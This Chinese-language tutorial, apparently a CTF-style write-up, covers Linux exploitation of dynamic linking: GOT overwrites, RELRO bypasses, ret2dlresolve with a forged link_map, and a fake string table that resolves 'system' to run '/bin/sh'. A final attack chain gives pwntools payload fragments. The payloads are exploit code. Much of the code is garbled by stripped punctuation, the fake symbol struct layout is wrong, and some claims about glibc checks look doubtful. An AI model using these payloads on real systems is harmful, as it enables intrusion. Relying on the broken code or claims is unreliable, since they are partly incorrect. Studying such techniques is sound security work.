
1. 二进制安全攻防中的函数重定位机制在Linux二进制漏洞利用领域函数重定位流程一直是攻击者重点关注的突破口。动态链接库的函数调用需要通过PLT/GOT表完成地址解析这个过程涉及到延迟绑定Lazy Binding机制。当程序首次调用外部函数时动态链接器会通过.plt和.got.plt节区协作完成地址解析而正是这个看似正常的流程中隐藏着多个危险的安全假设。以典型的call printfplt指令为例实际执行流程会经历以下关键步骤跳转到.plt节区中的printf桩代码从.got.plt读取目标地址首次调用时指向回跳指令触发动态链接器的_dl_runtime_resolve函数完成符号查找并回填GOT表这个过程中至少存在三处可能被攻击者利用的关键点GOT表条目在重定位前可写_dl_runtime_resolve的参数控制符号查找依赖的字符串表可被污染2. 经典GOT覆写攻击手法剖析2.1 基础GOT劫持技术在部分RELRORelocation Read-Only保护未开启的场景下.got.plt节区在运行时保持可写状态。攻击者通过堆溢出或格式化字符串漏洞修改GOT条目可以将函数调用重定向到恶意代码。实际操作中需要注意以下技术细节// 获取GOT表地址的常用方法 void* got_printf elf.got[printf]; // 通过pwntools获取 void* got_printf *((void**)plt_printf2); // 通过PLT指令推算 // 典型覆写操作 payload flat([ bA*offset, p64(got_printf), p64(system_addr) ])关键细节现代glibc在_dl_fixup中增加了对GOT条目合法性的检查直接修改为栈地址或堆地址可能会触发异常。建议将目标地址指向可执行内存区域。2.2 对抗Partial RELRO保护当二进制开启Partial RELRO时虽然.got节区变为只读但.got.plt仍可写。此时需要精确区分两个节区的位置readelf -S target | grep -E \.got|\.got.plt攻击者可以通过以下方式绕过保护劫持.got.plt中的函数指针利用_dl_runtime_resolve的延迟绑定特性在首次调用目标函数前完成GOT修改3. 针对动态链接器的高级攻击3.1 _dl_runtime_resolve参数控制_dl_runtime_resolve在解析符号时需要两个关键参数link_map描述当前对象依赖关系reloc_arg重定位条目索引通过栈溢出控制这两个参数可以实现更复杂的攻击# 构造伪造的link_map结构 fake_link_map flat({ 0x0: p64(0x7ffff7ffe168), # l_addr 0x68: p64(0x600e28), # l_info[DT_STRTAB] 0x70: p64(0x600e18), # l_info[DT_SYMTAB] # ...其他必要字段... }) # 触发重解析 payload flat([ bA*offset, fake_link_map, p64(reloc_index), p64(0x401030) # 返回到PLT[0] ])3.2 符号表污染攻击通过控制DT_STRTAB或DT_SYMTAB指针攻击者可以操纵动态链接器的符号解析过程。典型攻击步骤包括泄露堆地址或库地址在可控内存区域构造伪造字符串表修改link_map中的l_info字段触发对目标符号的重新解析// 伪造的字符串表示例 char fake_strtab[] { \0, // 首个字节为0 s,y,s,t,e,m,\0, // 替换原函数名 /,b,i,n,/,s,h,\0 };4. 现代防护机制与绕过技巧4.1 Full RELRO的突破点当二进制编译时添加-Wl,-z,relro,-z,now参数所有重定位条目将在加载时立即解析并设为只读。此时传统GOT覆写不再适用但仍有以下攻击面利用dl_iterate_phdr泄露内存布局通过__libc_dlsym进行动态解析攻击非直接绑定的函数指针4.2 对抗符号版本检查glibc 2.34引入了更严格的符号版本验证可通过以下方式绕过复用合法版本字符串objdump -T libc.so.6 | grep puts # 获取合法的版本标记如GLIBC_2.2.5在伪造的符号条目中设置正确版本索引fake_sym flat([ p32(st_name), # 字符串表偏移 p8(0x12), # 其他标志位 p8(0), # 版本索引 p16(0), # 节区索引 p64(0), # 值/大小 ])5. 实战案例组合利用技巧某CTF赛题中的真实攻击链构建通过栈溢出泄露libc地址伪造包含system字符串的假符号表修改link_map的l_info[DT_STRTAB]触发freeplt的重新解析最终执行system(/bin/sh)关键payload构造# 步骤1泄露libc p.sendlineafter(, %15$p) libc.address int(p.recvline(),16) - 0x24083 # 步骤2构建伪造结构 fake_strtab b\0bsystem\0/bin/sh\0 fake_symtab flat([ 0, 0x12000000, 0, 0 # 伪造的符号条目 ]) # 步骤3修改link_map指针 payload flat({ 0x20: p64(heap_addr), # 指向伪造的link_map 0x28: p64(0) # reloc_arg })防御建议开发时应确保所有动态链接函数在早期统一解析避免运行时出现未受保护的延迟绑定。安全团队可以通过checksec --filetarget快速检测RELRO保护状态。